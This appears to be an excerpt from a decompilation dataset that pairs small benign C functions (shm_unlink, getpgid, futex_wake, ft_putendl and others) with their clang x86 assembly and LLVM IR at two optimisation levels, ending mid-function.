xunge/DecIR huggingface dataset:
/* Variables and functions */
int /*<<< orphan*/ NAME_MAX;
char *__shm_mapname(char const *, char *);
int unlink(char const *);
int shm_unlink(const char *name) {
  char buf[NAME_MAX + 10];
  if (!(name = __shm_mapname(name, buf)))
    return -1;
  return unlink(name);
}


x86 assembly (clang, -O0):
<shm_unlink>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x10(%rbp)
mov    0x2ea5(%rip),%rax
mov    (%rax),%eax
add    $0xa,%eax
mov    %rsp,%rcx
mov    %rcx,-0x18(%rbp)
mov    %rax,%rcx
add    $0xf,%rcx
and    $0xfffffffffffffff0,%rcx
mov    %rsp,%rsi
sub    %rcx,%rsi
mov    %rsi,%rsp
mov    %rax,-0x20(%rbp)
mov    -0x10(%rbp),%rdi
call   1040 <__shm_mapname@plt>
mov    %rax,-0x10(%rbp)
cmp    $0x0,%rax
jne    1181 <shm_unlink+0x61>
movl   $0xffffffff,-0x4(%rbp)
movl   $0x1,-0x24(%rbp)
jmp    1194 <shm_unlink+0x74>
mov    -0x10(%rbp),%rdi
call   1030 <unlink@plt>
mov    %eax,-0x4(%rbp)
movl   $0x1,-0x24(%rbp)
mov    -0x18(%rbp),%rax
mov    %rax,%rsp
mov    -0x4(%rbp),%eax
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<shm_unlink>:
push   %rbp
mov    %rsp,%rbp
mov    0x2ead(%rip),%rax
mov    (%rax),%eax
add    $0xa,%eax
mov    %rsp,%rsi
add    $0xf,%rax
and    $0xfffffffffffffff0,%rax
sub    %rax,%rsi
mov    %rsi,%rsp
call   1040 <__shm_mapname@plt>
test   %rax,%rax
je     1155 <shm_unlink+0x35>
mov    %rax,%rdi
call   1030 <unlink@plt>
jmp    115a <shm_unlink+0x3a>
mov    $0xffffffff,%eax
mov    %rbp,%rsp
pop    %rbp
ret

LLVM IR (-O0):
@NAME_MAX = global i32 0
define i32 @shm_unlink(i8* %0) {
%2 = alloca i32
%3 = alloca i8*
%4 = alloca i8*
%5 = alloca i64
%6 = alloca i32
store i8* %0, i8** %3
%7 = load i32, i32* @NAME_MAX
%8 = add nsw i32 %7, 10
%9 = zext i32 %8 to i64
%10 = call i8* @llvm.stacksave()
store i8* %10, i8** %4
%11 = alloca i8, i64 %9
store i64 %9, i64* %5
%12 = load i8*, i8** %3
%13 = call i8* @__shm_mapname(i8* %12, i8* %11)
store i8* %13, i8** %3
%14 = icmp ne i8* %13, null
br i1 %14, label %16, label %15
15: ; preds = %1
store i32 -1, i32* %2
store i32 1, i32* %6
br label %19
16: ; preds = %1
%17 = load i8*, i8** %3
%18 = call i32 @unlink(i8* %17)
store i32 %18, i32* %2
store i32 1, i32* %6
br label %19
19: ; preds = %16, %15
%20 = load i8*, i8** %4
%21 = load i32, i32* %2
ret i32 %21
}

LLVM IR (-O2):
@NAME_MAX = global i32 0
define i32 @shm_unlink(i8* %0) {
%2 = load i32, i32* @NAME_MAX
%3 = add nsw i32 %2, 10
%4 = zext i32 %3 to i64
%5 = alloca i8, i64 %4
%6 = call i8* @__shm_mapname(i8* %0, i8* %5)
%7 = icmp eq i8* %6, null
br i1 %7, label %10, label %8
8: ; preds = %1
%9 = call i32 @unlink(i8* %6)
br label %10
10: ; preds = %1, %8
%11 = phi i32 [ %9, %8 ], [ -1, %1 ]
ret i32 %11
}
/* Variables and functions */
int get_operating_mode();
unsigned int is_privileged(void) { return get_operating_mode() != 0b10000; }


x86 assembly (clang, -O0):
<is_privileged>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <get_operating_mode@plt>
cmp    $0x10,%eax
setne  %al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<is_privileged>:
push   %rax
xor    %eax,%eax
call   1030 <get_operating_mode@plt>
xor    %ecx,%ecx
cmp    $0x10,%eax
setne  %cl
mov    %ecx,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @is_privileged() {
%1 = call i32 (...) @get_operating_mode()
%2 = icmp ne i32 %1, 16
%3 = zext i1 %2 to i32
ret i32 %3
}

LLVM IR (-O2):
define i32 @is_privileged() {
%1 = tail call i32 (...) @get_operating_mode()
%2 = icmp ne i32 %1, 16
%3 = zext i1 %2 to i32
ret i32 %3
}
int Operand_ulabel8_decode(unsigned int *valp) {
  unsigned ulabel8_0, imm8_0;
  imm8_0 = *valp & 0xff;
  ulabel8_0 = 0x4 + ((((0)) << 8) | imm8_0);
  *valp = ulabel8_0;
  return 0;
}


x86 assembly (clang, -O0):
<Operand_ulabel8_decode>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%eax
and    $0xff,%eax
mov    %eax,-0x10(%rbp)
mov    -0x10(%rbp),%eax
or     $0x0,%eax
add    $0x4,%eax
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%ecx
mov    -0x8(%rbp),%rax
mov    %ecx,(%rax)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<Operand_ulabel8_decode>:
movzbl (%rdi),%eax
add    $0x4,%eax
mov    %eax,(%rdi)
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @Operand_ulabel8_decode(i32* %0) {
%2 = alloca i32*
%3 = alloca i32
%4 = alloca i32
store i32* %0, i32** %2
%5 = load i32*, i32** %2
%6 = load i32, i32* %5
%7 = and i32 %6, 255
store i32 %7, i32* %4
%8 = load i32, i32* %4
%9 = or i32 0, %8
%10 = add i32 4, %9
store i32 %10, i32* %3
%11 = load i32, i32* %3
%12 = load i32*, i32** %2
store i32 %11, i32* %12
ret i32 0
}

LLVM IR (-O2):
define i32 @Operand_ulabel8_decode(i32* nocapture %0) {
%2 = load i32, i32* %0
%3 = and i32 %2, 255
%4 = add nuw nsw i32 %3, 4
store i32 %4, i32* %0
ret i32 0
}
/* Variables and functions */
int get_model_type();
int is_model_pi4(void) { return get_model_type() == 0x11 ? 1 : 0; }


x86 assembly (clang, -O0):
<is_model_pi4>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <get_model_type@plt>
mov    %eax,%edx
xor    %eax,%eax
mov    $0x1,%ecx
cmp    $0x11,%edx
cmove  %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<is_model_pi4>:
push   %rax
xor    %eax,%eax
call   1030 <get_model_type@plt>
xor    %ecx,%ecx
cmp    $0x11,%eax
sete   %cl
mov    %ecx,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @is_model_pi4() {
%1 = call i32 (...) @get_model_type()
%2 = icmp eq i32 %1, 17
%3 = zext i1 %2 to i64
%4 = select i1 %2, i32 1, i32 0
ret i32 %4
}

LLVM IR (-O2):
define i32 @is_model_pi4() {
%1 = tail call i32 (...) @get_model_type()
%2 = icmp eq i32 %1, 17
%3 = zext i1 %2 to i32
ret i32 %3
}
/* Variables and functions */
int edit1(int *, char);
int editor(int *msgvec) { return (edit1(msgvec, 'e')); }


x86 assembly (clang, -O0):
<editor>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
mov    $0x65,%esi
call   1030 <edit1@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<editor>:
mov    $0x65,%esi
jmp    1030 <edit1@plt>

LLVM IR (-O0):
define i32 @editor(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
%3 = load i32*, i32** %2
%4 = call i32 @edit1(i32* %3, i8 signext 101)
ret i32 %4
}

LLVM IR (-O2):
define i32 @editor(i32* %0) {
%2 = tail call i32 @edit1(i32* %0, i8 signext 101)
ret i32 %2
}
double iw_filter_triangle(struct iw_rr_ctx *rrctx, double x) {
  if (x < 1.0)
    return 1.0 - x;
  return 0.0;
}


x86 assembly (clang, -O0):
<iw_filter_triangle>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x10(%rbp)
movsd  %xmm0,-0x18(%rbp)
movsd  0xeeb(%rip),%xmm0
ucomisd -0x18(%rbp),%xmm0
jbe    1137 <iw_filter_triangle+0x37>
movsd  0xed8(%rip),%xmm0
subsd  -0x18(%rbp),%xmm0
movsd  %xmm0,-0x8(%rbp)
jmp    113f <iw_filter_triangle+0x3f>
xorps  %xmm0,%xmm0
movsd  %xmm0,-0x8(%rbp)
movsd  -0x8(%rbp),%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<iw_filter_triangle>:
movsd  0xef8(%rip),%xmm1
movapd %xmm1,%xmm2
subsd  %xmm0,%xmm2
cmpltsd %xmm1,%xmm0
andpd  %xmm2,%xmm0
ret

LLVM IR (-O0):
%struct.iw_rr_ctx = type opaque
define double @iw_filter_triangle(%struct.iw_rr_ctx* %0, double %1) {
%3 = alloca double
%4 = alloca %struct.iw_rr_ctx*
%5 = alloca double
store %struct.iw_rr_ctx* %0, %struct.iw_rr_ctx** %4
store double %1, double* %5
%6 = load double, double* %5
%7 = fcmp olt double %6, 1.000000e+00
br i1 %7, label %8, label %11
8: ; preds = %2
%9 = load double, double* %5
%10 = fsub double 1.000000e+00, %9
store double %10, double* %3
br label %12
11: ; preds = %2
store double 0.000000e+00, double* %3
br label %12
12: ; preds = %11, %8
%13 = load double, double* %3
ret double %13
}

LLVM IR (-O2):
%struct.iw_rr_ctx = type opaque
define double @iw_filter_triangle(%struct.iw_rr_ctx* nocapture readnone %0, double %1) {
%3 = fcmp olt double %1, 1.000000e+00
%4 = fsub double 1.000000e+00, %1
%5 = select i1 %3, double %4, double 0.000000e+00
ret double %5
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
int main(int argc, char *argv[]) {
  printf("Using no optimization flag\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xed3(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [28 x i8] c"Using no optimization flag\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%6 = call i32 @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@str = [27 x i8] c"Using no optimization flag\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @str, i64 0, i64 0))
ret i32 0
}
void test_auth() {}


x86 assembly (clang, -O0):
<test_auth>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_auth>:
ret

LLVM IR (-O0):
define void @test_auth() {
ret void
}

LLVM IR (-O2):
define void @test_auth() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ length();
int /*<<< orphan*/ startNotNull();
void runAllTests() {
  length();
  startNotNull();
}


x86 assembly (clang, -O0):
<runAllTests>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <length@plt>
mov    $0x0,%al
call   1040 <startNotNull@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<runAllTests>:
push   %rax
xor    %eax,%eax
call   1030 <length@plt>
xor    %eax,%eax
pop    %rcx
jmp    1040 <startNotNull@plt>

LLVM IR (-O0):
define void @runAllTests() {
%1 = call i32 (...) @length()
%2 = call i32 (...) @startNotNull()
ret void
}

LLVM IR (-O2):
define void @runAllTests() {
%1 = tail call i32 (...) @length()
%2 = tail call i32 (...) @startNotNull()
ret void
}
/* Variables and functions */
void *debug_malloc(int, char const *, int, double);
int /*<<< orphan*/ memset(void *, int /*<<< orphan*/, int);
void *debug_calloc(int n, int s, const char *fn, int lno, double tstamp) {
  void *p = debug_malloc(n * s, fn, lno, tstamp);
  if (p)
    memset(p, 0, n * s);
  return p;
}


x86 assembly (clang, -O0):
<debug_calloc>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    %rdx,-0x10(%rbp)
mov    %ecx,-0x14(%rbp)
movsd  %xmm0,-0x20(%rbp)
mov    -0x4(%rbp),%edi
imul   -0x8(%rbp),%edi
mov    -0x10(%rbp),%rsi
mov    -0x14(%rbp),%edx
movsd  -0x20(%rbp),%xmm0
call   1040 <debug_malloc@plt>
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
je     1173 <debug_calloc+0x53>
mov    -0x28(%rbp),%rdi
mov    -0x4(%rbp),%edx
imul   -0x8(%rbp),%edx
xor    %esi,%esi
call   1030 <memset@plt>
mov    -0x28(%rbp),%rax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<debug_calloc>:
push   %r14
push   %rbx
push   %rax
mov    %edi,%ebx
imul   %esi,%ebx
mov    %ebx,%edi
mov    %rdx,%rsi
mov    %ecx,%edx
call   1040 <debug_malloc@plt>
mov    %rax,%r14
test   %rax,%rax
je     1149 <debug_calloc+0x29>
mov    %r14,%rdi
xor    %esi,%esi
mov    %ebx,%edx
call   1030 <memset@plt>
mov    %r14,%rax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
define i8* @debug_calloc(i32 %0, i32 %1, i8* %2, i32 %3, double %4) {
%6 = alloca i32
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i32
%10 = alloca double
%11 = alloca i8*
store i32 %0, i32* %6
store i32 %1, i32* %7
store i8* %2, i8** %8
store i32 %3, i32* %9
store double %4, double* %10
%12 = load i32, i32* %6
%13 = load i32, i32* %7
%14 = mul nsw i32 %12, %13
%15 = load i8*, i8** %8
%16 = load i32, i32* %9
%17 = load double, double* %10
%18 = call i8* @debug_malloc(i32 %14, i8* %15, i32 %16, double %17)
store i8* %18, i8** %11
%19 = load i8*, i8** %11
%20 = icmp ne i8* %19, null
br i1 %20, label %21, label %27
21: ; preds = %5
%22 = load i8*, i8** %11
%23 = load i32, i32* %6
%24 = load i32, i32* %7
%25 = mul nsw i32 %23, %24
%26 = call i32 @memset(i8* %22, i32 0, i32 %25)
br label %27
27: ; preds = %21, %5
%28 = load i8*, i8** %11
ret i8* %28
}

LLVM IR (-O2):
define i8* @debug_calloc(i32 %0, i32 %1, i8* %2, i32 %3, double %4) {
%6 = mul nsw i32 %1, %0
%7 = tail call i8* @debug_malloc(i32 %6, i8* %2, i32 %3, double %4)
%8 = icmp eq i8* %7, null
br i1 %8, label %11, label %9
9: ; preds = %5
%10 = tail call i32 @memset(i8* %7, i32 0, i32 %6)
br label %11
11: ; preds = %9, %5
ret i8* %7
}
/* Type definitions */
typedef int /*<<< orphan*/ pid_t;

/* Variables and functions */
int /*<<< orphan*/ syscall(int, int /*<<< orphan*/);
pid_t getpgid(pid_t pid) { return syscall(132, pid); }


x86 assembly (clang, -O0):
<getpgid>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%esi
mov    $0x84,%edi
call   1030 <syscall@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<getpgid>:
mov    %edi,%esi
mov    $0x84,%edi
jmp    1030 <syscall@plt>

LLVM IR (-O0):
define i32 @getpgid(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = call i32 @syscall(i32 132, i32 %3)
ret i32 %4
}

LLVM IR (-O2):
define i32 @getpgid(i32 %0) {
%2 = tail call i32 @syscall(i32 132, i32 %0)
ret i32 %2
}
/* Variables and functions */
char *strdup_printf(char *, char const *);
char *create_default_content(const char *content) {
  char *s;
  s = strdup_printf("\"[\\\"%s\\\\n\\\",[\\\"font\\\","
                    "{\\\"name\\\":\\\"宋体\\\",\\\"size\\\":\\\"10\\\","
                    "\\\"style\\\":[0,0,0],\\\"color\\\":\\\"000000\\\"}]]\"",
                    content);
  return s;
}


x86 assembly (clang, -O0):
<create_default_content>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rsi
lea    0xed9(%rip),%rdi
call   1030 <strdup_printf@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<create_default_content>:
mov    %rdi,%rsi
lea    0xee6(%rip),%rdi
jmp    1030 <strdup_printf@plt>

LLVM IR (-O0):
@.str = [102 x i8] c"\22[\\\22%s\\\\n\\\22,[\\\22font\\\22,{\\\22name\\\22:\\\22\E5\AE\8B\E4\BD\93\\\22,\\\22size\\\22:\\\2210\\\22,\\\22style\\\22:[0,0,0],\\\22color\\\22:\\\22000000\\\22}]]\22\00"
define i8* @create_default_content(i8* %0) {
%2 = alloca i8*
%3 = alloca i8*
store i8* %0, i8** %2
%4 = load i8*, i8** %2
%5 = call i8* @strdup_printf(i8* getelementptr inbounds ([102 x i8], [102 x i8]* @.str, i64 0, i64 0), i8* %4)
store i8* %5, i8** %3
%6 = load i8*, i8** %3
ret i8* %6
}

LLVM IR (-O2):
@.str = [102 x i8] c"\22[\\\22%s\\\\n\\\22,[\\\22font\\\22,{\\\22name\\\22:\\\22\E5\AE\8B\E4\BD\93\\\22,\\\22size\\\22:\\\2210\\\22,\\\22style\\\22:[0,0,0],\\\22color\\\22:\\\22000000\\\22}]]\22\00"
define i8* @create_default_content(i8* %0) {
%2 = tail call i8* @strdup_printf(i8* getelementptr inbounds ([102 x i8], [102 x i8]* @.str, i64 0, i64 0), i8* %0)
ret i8* %2
}
/* Variables and functions */
int /*<<< orphan*/ FUTEX_WAKE;
int /*<<< orphan*/ SYS_futex;
int /*<<< orphan*/ syscall(int /*<<< orphan*/, int *, int /*<<< orphan*/, int);
void futex_wake(int *addr) { syscall(SYS_futex, addr, FUTEX_WAKE, 1); }


x86 assembly (clang, -O0):
<futex_wake>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2ebd(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rsi
mov    0x2ea0(%rip),%rax
mov    (%rax),%edx
mov    $0x1,%ecx
call   1030 <syscall@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<futex_wake>:
mov    %rdi,%rsi
mov    0x2ec6(%rip),%rax
mov    (%rax),%edi
mov    0x2ead(%rip),%rax
mov    (%rax),%edx
mov    $0x1,%ecx
jmp    1030 <syscall@plt>

LLVM IR (-O0):
@SYS_futex = global i32 0
@FUTEX_WAKE = global i32 0
define void @futex_wake(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
%3 = load i32, i32* @SYS_futex
%4 = load i32*, i32** %2
%5 = load i32, i32* @FUTEX_WAKE
%6 = call i32 @syscall(i32 %3, i32* %4, i32 %5, i32 1)
ret void
}

LLVM IR (-O2):
@SYS_futex = global i32 0
@FUTEX_WAKE = global i32 0
define void @futex_wake(i32* %0) {
%2 = load i32, i32* @SYS_futex
%3 = load i32, i32* @FUTEX_WAKE
%4 = tail call i32 @syscall(i32 %2, i32* %0, i32 %3, i32 1)
ret void
}
int func(void) {
  int a = 1;
  int b = 2;
  int c = 3;
  a = (b * (c + (a * (b + (-c)))));
  return 0;
}


x86 assembly (clang, -O0):
<func>:
push   %rbp
mov    %rsp,%rbp
movl   $0x1,-0x4(%rbp)
movl   $0x2,-0x8(%rbp)
movl   $0x3,-0xc(%rbp)
mov    -0x8(%rbp),%eax
mov    -0xc(%rbp),%ecx
mov    -0x4(%rbp),%edx
mov    -0x8(%rbp),%esi
xor    %edi,%edi
sub    -0xc(%rbp),%edi
add    %edi,%esi
imul   %esi,%edx
add    %edx,%ecx
imul   %ecx,%eax
mov    %eax,-0x4(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<func>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @func() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
store i32 1, i32* %1
store i32 2, i32* %2
store i32 3, i32* %3
%4 = load i32, i32* %2
%5 = load i32, i32* %3
%6 = load i32, i32* %1
%7 = load i32, i32* %2
%8 = load i32, i32* %3
%9 = sub nsw i32 0, %8
%10 = add nsw i32 %7, %9
%11 = mul nsw i32 %6, %10
%12 = add nsw i32 %5, %11
%13 = mul nsw i32 %4, %12
store i32 %13, i32* %1
ret i32 0
}

LLVM IR (-O2):
define i32 @func() {
ret i32 0
}
/* Variables and functions */
scalar_t__ isalnum(int);
char *skipidentifier(const char *s) {
  while (isalnum((int)*s) || *s == '_')
    s++;
  return (char *)s;
}


x86 assembly (clang, -O0):
<skipidentifier>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
movsbl (%rax),%edi
call   1030 <isalnum@plt>
mov    %rax,%rcx
mov    $0x1,%al
cmp    $0x0,%rcx
mov    %al,-0x9(%rbp)
jne    114a <skipidentifier+0x3a>
mov    -0x8(%rbp),%rax
movsbl (%rax),%eax
cmp    $0x5f,%eax
sete   %al
mov    %al,-0x9(%rbp)
mov    -0x9(%rbp),%al
test   $0x1,%al
jne    115a <skipidentifier+0x4a>
jmp    116b <skipidentifier+0x5b>
mov    -0x8(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x8(%rbp)
jmp    111c <skipidentifier+0xc>
mov    -0x8(%rbp),%rax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<skipidentifier>:
push   %rbx
mov    %rdi,%rbx
jmp    1124 <skipidentifier+0x14>
cs nopw 0x0(%rax,%rax,1)
add    $0x1,%rbx
movsbl (%rbx),%edi
call   1030 <isalnum@plt>
test   %rax,%rax
jne    1120 <skipidentifier+0x10>
cmpb   $0x5f,(%rbx)
je     1120 <skipidentifier+0x10>
mov    %rbx,%rax
pop    %rbx
ret

LLVM IR (-O0):
define i8* @skipidentifier(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
br label %3
3: ; preds = %16, %1
%4 = load i8*, i8** %2
%5 = load i8, i8* %4
%6 = sext i8 %5 to i32
%7 = call i64 @isalnum(i32 %6)
%8 = icmp ne i64 %7, 0
br i1 %8, label %14, label %9
9: ; preds = %3
%10 = load i8*, i8** %2
%11 = load i8, i8* %10
%12 = sext i8 %11 to i32
%13 = icmp eq i32 %12, 95
br label %14
14: ; preds = %9, %3
%15 = phi i1 [ true, %3 ], [ %13, %9 ]
br i1 %15, label %16, label %19
16: ; preds = %14
%17 = load i8*, i8** %2
%18 = getelementptr inbounds i8, i8* %17, i32 1
store i8* %18, i8** %2
br label %3
19: ; preds = %14
%20 = load i8*, i8** %2
ret i8* %20
}

LLVM IR (-O2):
define i8* @skipidentifier(i8* %0) {
br label %2
2: ; preds = %11, %1
%3 = phi i8* [ %0, %1 ], [ %12, %11 ]
%4 = load i8, i8* %3
%5 = sext i8 %4 to i32
%6 = tail call i64 @isalnum(i32 %5)
%7 = icmp eq i64 %6, 0
br i1 %7, label %8, label %11
8: ; preds = %2
%9 = load i8, i8* %3
%10 = icmp eq i8 %9, 95
br i1 %10, label %11, label %13
11: ; preds = %2, %8
%12 = getelementptr inbounds i8, i8* %3, i64 1
br label %2
13: ; preds = %8
ret i8* %3
}
void XkbLatchModifiers() {}


x86 assembly (clang, -O0):
<XkbLatchModifiers>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<XkbLatchModifiers>:
ret

LLVM IR (-O0):
define void @XkbLatchModifiers() {
ret void
}

LLVM IR (-O2):
define void @XkbLatchModifiers() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ confirm(int, int);
int main() {
  confirm(0x0, 16);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
xor    %edi,%edi
mov    $0x10,%esi
call   1030 <confirm@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %edi,%edi
mov    $0x10,%esi
call   1030 <confirm@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @confirm(i32 0, i32 16)
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 @confirm(i32 0, i32 16)
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ default_handler();
__attribute__((weak)) void OTG_HS_EP1_IN_IRQHandler() { default_handler(); }


x86 assembly (clang, -O0):
<OTG_HS_EP1_IN_IRQHandler>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <default_handler@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<OTG_HS_EP1_IN_IRQHandler>:
xor    %eax,%eax
jmp    1030 <default_handler@plt>

LLVM IR (-O0):
define weak void @OTG_HS_EP1_IN_IRQHandler() {
%1 = call i32 (...) @default_handler()
ret void
}

LLVM IR (-O2):
define weak void @OTG_HS_EP1_IN_IRQHandler() {
%1 = tail call i32 (...) @default_handler()
ret void
}
/* Variables and functions */
int /*<<< orphan*/ HplAtm128InterruptPinP__2__Irq__default__fired();
void HplAtm128InterruptPinP__2__Irq__fired(void) {
  HplAtm128InterruptPinP__2__Irq__default__fired();
}


x86 assembly (clang, -O0):
<HplAtm128InterruptPinP__2__Irq__fired>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <HplAtm128InterruptPinP__2__Irq__default__fired@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<HplAtm128InterruptPinP__2__Irq__fired>:
xor    %eax,%eax
jmp    1030 <HplAtm128InterruptPinP__2__Irq__default__fired@plt>

LLVM IR (-O0):
define void @HplAtm128InterruptPinP__2__Irq__fired() {
%1 = call i32 (...) @HplAtm128InterruptPinP__2__Irq__default__fired()
ret void
}

LLVM IR (-O2):
define void @HplAtm128InterruptPinP__2__Irq__fired() {
%1 = tail call i32 (...) @HplAtm128InterruptPinP__2__Irq__default__fired()
ret void
}
/* Variables and functions */
int /*<<< orphan*/ write(int, char const *, int);
void ft_putendl(char const *s) {
  int i;
  i = 0;
  if (s) {
    while (s[i])
      i++;
    write(1, s, i);
    write(1, "\n", 1);
  }
}


x86 assembly (clang, -O0):
<ft_putendl>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
movl   $0x0,-0xc(%rbp)
cmpq   $0x0,-0x8(%rbp)
je     1177 <ft_putendl+0x67>
jmp    1133 <ft_putendl+0x23>
mov    -0x8(%rbp),%rax
movslq -0xc(%rbp),%rcx
cmpb   $0x0,(%rax,%rcx,1)
je     1153 <ft_putendl+0x43>
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    1133 <ft_putendl+0x23>
mov    -0x8(%rbp),%rsi
mov    -0xc(%rbp),%edx
mov    $0x1,%edi
call   1030 <write@plt>
mov    $0x1,%edx
lea    0xe90(%rip),%rsi
mov    %edx,%edi
call   1030 <write@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<ft_putendl>:
test   %rdi,%rdi
je     114e <ft_putendl+0x3e>
push   %rax
mov    %rdi,%rsi
xor    %edx,%edx
nopl   0x0(%rax,%rax,1)
cmpb   $0x0,(%rsi,%rdx,1)
lea    0x1(%rdx),%rdx
jne    1120 <ft_putendl+0x10>
add    $0xffffffff,%edx
mov    $0x1,%edi
call   1030 <write@plt>
lea    0xec2(%rip),%rsi
mov    $0x1,%edi
mov    $0x1,%edx
pop    %rax
jmp    1030 <write@plt>
ret

LLVM IR (-O0):
@.str = [2 x i8] c"\0A\00"
define void @ft_putendl(i8* %0) {
%2 = alloca i8*
%3 = alloca i32
store i8* %0, i8** %2
store i32 0, i32* %3
%4 = load i8*, i8** %2
%5 = icmp ne i8* %4, null
br i1 %5, label %6, label %22
6: ; preds = %1
br label %7
7: ; preds = %14, %6
%8 = load i8*, i8** %2
%9 = load i32, i32* %3
%10 = sext i32 %9 to i64
%11 = getelementptr inbounds i8, i8* %8, i64 %10
%12 = load i8, i8* %11
%13 = icmp ne i8 %12, 0
br i1 %13, label %14, label %17
14: ; preds = %7
%15 = load i32, i32* %3
%16 = add nsw i32 %15, 1
store i32 %16, i32* %3
br label %7
17: ; preds = %7
%18 = load i8*, i8** %2
%19 = load i32, i32* %3
%20 = call i32 @write(i32 1, i8* %18, i32 %19)
%21 = call i32 @write(i32 1, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i32 1)
br label %22
22: ; preds = %17, %1
ret void
}

LLVM IR (-O2):
@.str = [2 x i8] c"\0A\00"
define void @ft_putendl(i8* %0) {
%2 = icmp eq i8* %0, null
br i1 %2, label %13, label %3
3: ; preds = %1, %3
%4 = phi i64 [ %8, %3 ], [ 0, %1 ]
%5 = getelementptr inbounds i8, i8* %0, i64 %4
%6 = load i8, i8* %5
%7 = icmp eq i8 %6, 0
%8 = add nuw i64 %4, 1
br i1 %7, label %9, label %3
